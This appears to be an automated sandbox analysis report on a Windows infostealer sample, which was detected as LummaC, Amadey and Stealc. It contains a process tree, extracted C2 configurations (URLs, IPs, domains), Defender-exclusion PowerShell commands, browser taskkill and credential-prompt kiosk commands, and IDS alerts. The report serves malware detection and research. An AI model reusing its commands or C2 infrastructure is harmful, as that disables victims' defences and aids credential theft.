Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544999
MD5:	3f075d8a80c2881d26355e63cc367019
SHA1:	83af9a52025eee9430b93e7efc1d9a039b81985f
SHA256:	6e2b1ee5f03b5cc5117b10f8436ae0b716c0e2c7f3accf3d97928a322bf71e9e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

PE file has nameless sections

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5044 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3F075D8A80C2881D26355E63CC367019)

F7UO7T49UKQNSZTWA8QFF.exe (PID: 6392 cmdline: "C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe" MD5: 31DCBB1049045C8DDE02EFAA077817FD)

X42E6LZ0BD4W2FEYDTB0TDC.exe (PID: 2276 cmdline: "C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe" MD5: B54F03BAF9BE367B7557E928638593AC)

skotes.exe (PID: 6972 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B54F03BAF9BE367B7557E928638593AC)

skotes.exe (PID: 3180 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B54F03BAF9BE367B7557E928638593AC)

skotes.exe (PID: 6184 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B54F03BAF9BE367B7557E928638593AC)

Session.exe (PID: 2276 cmdline: "C:\Users\user\AppData\Local\Temp\1002474001\Session.exe" MD5: 3BA35E9D091539EC658813E3D15E4B89)

conhost.exe (PID: 5036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2360 cmdline: "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6972 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Lipras MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 5356 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

pdf.exe (PID: 6384 cmdline: "C:\Lipras\pdf.exe" MD5: 21EB0B29554B832D677CEA9E8A59B999)

d816f1d41e.exe (PID: 7100 cmdline: "C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe" MD5: 3F075D8A80C2881D26355E63CC367019)

M8HFQURFTEATD4NIMG0DLKG.exe (PID: 4764 cmdline: "C:\Users\user\AppData\Local\Temp\M8HFQURFTEATD4NIMG0DLKG.exe" MD5: 31DCBB1049045C8DDE02EFAA077817FD)

GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe (PID: 7256 cmdline: "C:\Users\user\AppData\Local\Temp\GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe" MD5: B54F03BAF9BE367B7557E928638593AC)

f324957d91.exe (PID: 4408 cmdline: "C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe" MD5: B2D5F7C5A51B55BFE094DBE2A60DA2E3)

d40e036167.exe (PID: 5948 cmdline: "C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe" MD5: DD4869403AE714150E8B540B53E7F01F)

taskkill.exe (PID: 6004 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4424 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4292 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7092 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4952 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5776 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 3524 cmdline: "C:\Users\user\AppData\Local\Temp\1002490001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

d816f1d41e.exe (PID: 4280 cmdline: "C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe" MD5: 3F075D8A80C2881D26355E63CC367019)

firefox.exe (PID: 2228 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5712 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2124 -prefMapHandle 2112 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c7829afb-268f-4ef2-af60-a12dd001b36d} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d4aa6f710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5380 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4608 -parentBuildID 20230927232528 -prefsHandle 3488 -prefMapHandle 3328 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {04087b54-4cf9-41a7-8d51-39c0080b3bcf} 7116 "\\.\pipe\gecko-crash-server-pipe.7116" 21d5bebe610 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

svchost.exe (PID: 1452 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

f324957d91.exe (PID: 5808 cmdline: "C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe" MD5: B2D5F7C5A51B55BFE094DBE2A60DA2E3)

d40e036167.exe (PID: 892 cmdline: "C:\Users\user\AppData\Local\Temp\1002489001\d40e036167.exe" MD5: DD4869403AE714150E8B540B53E7F01F)

taskkill.exe (PID: 7112 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7480 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7548 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7616 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7680 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7744 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7760 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 7388 cmdline: "C:\Users\user\AppData\Local\Temp\1002490001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["navygenerayk.store", "thumbystriw.store", "crisiwarny.store", "necklacedmny.store", "presticitpo.store", "founpiuer.store", "fadehairucw.store", "scriptyprefej.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1002490001\num.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1002490001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000024.00000003.3140442773.000000000153E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2330842559.00000000007A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.3075351456.00000000018BB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2974221660.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.3069894615.0000000000A01000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000004.00000003.2249003575.0000000005640000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.2889844017.0000000000A01000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000003.2849204147.0000000005270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002B.00000000.3179302627.0000000000181000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.3010756627.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000003.3021486634.0000000005430000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2987847015.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2889027926.00000000006D1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.3013020839.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2976676095.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2976425232.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.3013381899.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2889531555.00000000006D4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2289746911.0000000000E71000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000003.2276285664.0000000004F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002B.00000002.3194034394.0000000000181000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002B.00000002.3195502176.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.2663696732.0000000004F80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.3030153241.0000000001468000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000002.3183709481.0000000000461000.00000040.00000001.01000000.0000001F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000000.2947004348.0000000000181000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000002A.00000003.3142995124.0000000005050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2976722761.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2290151058.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.2968126684.0000000000181000.00000080.00000001.01000000.00000019.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000002.2316663623.00000000007A1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d816f1d41e.exe PID: 7100	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d816f1d41e.exe PID: 7100	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d816f1d41e.exe PID: 7100	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f324957d91.exe PID: 4408	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f324957d91.exe PID: 4408	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d40e036167.exe PID: 5948	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: d816f1d41e.exe PID: 4280	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.X42E6LZ0BD4W2FEYDTB0TDC.exe.e70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
43.0.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
34.0.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.skotes.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
16.2.f324957d91.exe.a00000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.7a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
34.2.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
43.2.num.exe.180000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.2.f324957d91.exe.a00000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
42.2.GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.460000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6184, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d816f1d41e.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine: "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1002474001\Session.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe, ParentProcessId: 2276, ParentProcessName: Session.exe, ProcessCommandLine: "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'", ProcessId: 2360, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6184, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d816f1d41e.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine: "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1002474001\Session.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1002474001\Session.exe, ParentProcessId: 2276, ParentProcessName: Session.exe, ProcessCommandLine: "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Lipras'; Add-MpPreference -ExclusionPath 'C:\Users'", ProcessId: 2360, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1452, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T00:20:02.871440+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	188.114.97.3	443	TCP
2024-10-30T00:20:04.041153+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	188.114.97.3	443	TCP
2024-10-30T00:20:14.699448+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49711	188.114.97.3	443	TCP
2024-10-30T00:21:17.303967+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59788	188.114.97.3	443	TCP
2024-10-30T00:21:18.496354+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59790	188.114.97.3	443	TCP
2024-10-30T00:21:31.042334+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59806	188.114.97.3	443	TCP
2024-10-30T00:21:31.919266+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59807	188.114.97.3	443	TCP
2024-10-30T00:21:33.539643+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59814	188.114.97.3	443	TCP
2024-10-30T00:21:38.216930+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59824	104.21.43.145	443	TCP
2024-10-30T00:21:40.023992+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59835	104.21.43.145	443	TCP
2024-10-30T00:21:56.038865+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59852	104.21.43.145	443	TCP
2024-10-30T00:22:04.267633+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59886	188.114.97.3	443	TCP
2024-10-30T00:22:06.053523+0100	2054653	1	A Network Trojan was detected	192.168.2.5	59889	188.114.97.3	443	TCP

